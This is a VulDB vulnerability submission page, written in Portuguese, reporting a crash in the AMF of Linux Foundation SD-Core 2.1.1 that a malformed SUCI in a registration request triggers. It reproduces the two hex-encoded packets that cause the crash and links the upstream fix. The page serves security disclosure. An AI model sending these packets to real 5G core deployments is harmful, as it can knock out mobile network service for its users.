| Título | Linux Foundation Projects SD-Core 2.1.1 Memory Corruption |
|---|
| Descrição | AMF crashes if a registration request with invalid SUCI format is sent. It crashes on converting it to valid MobileIdentity.
Packet 1: Send NGSetupRequest
00 15 00 33 00 00 05 00 1B 00 08 00 00 F1 10 00 00 06 6C 00 52 40 05 01 00 52 41 4E 00 66 00 0D 00 00 00 00 07 00 00 F1 10 00 00 00 08 00 15 40 01 20 00 93 40 01 00
Packet 2: Send RegistrationRequest (InitialUEMessage)
00 0F 40 63 00 00 05 00 55 00 02 00 01 00 26 00 39 38 7E 00 41 79 00 08 01 02 F8 39 00 00 00 00 C0 C0 B0 B0 80 80 90 90 A0 A0 C0 C0 B0 B0 80 80 90 90 A0 A0 C0 C0 B0 B0 80 80 90 90 A0 A0 C0 C0 B0 B0 80 80 90 90 A0 A0 C0 C0 00 79 00 0F 40 00 F1 10 00 00 00 00 00 00 F1 10 00 00 07 00 5A 40 01 18 00 70 40 01 00
Developers have acknowledged and fixed.
Fix Pull Request:
https://github.com/omec-project/amf/pull/666
Fixed image:
https://hub.docker.com/layers/omecproject/5gc-amf/rel-2.2.1/images/sha256-8a4c33cdda866094f1989bdeff6d8642fce8de8435f89defd66831c97715f5aa
|
|---|
| Fonte | ⚠️ https://github.com/omec-project/amf/issues/679 |
|---|
| Utilizador | shovon0203 (UID 96191) |
|---|
| Submissão | 24/04/2026 03h06 (há 1 mês) |
|---|
| Moderação | 22/05/2026 19h45 (29 days later) |
|---|
| Estado | Aceite |
|---|
| Entrada VulDB | 365247 [omec-project amf até 2.1.1 NGSetupRequest Excesso de tampão] |
|---|
| Pontos | 20 |
|---|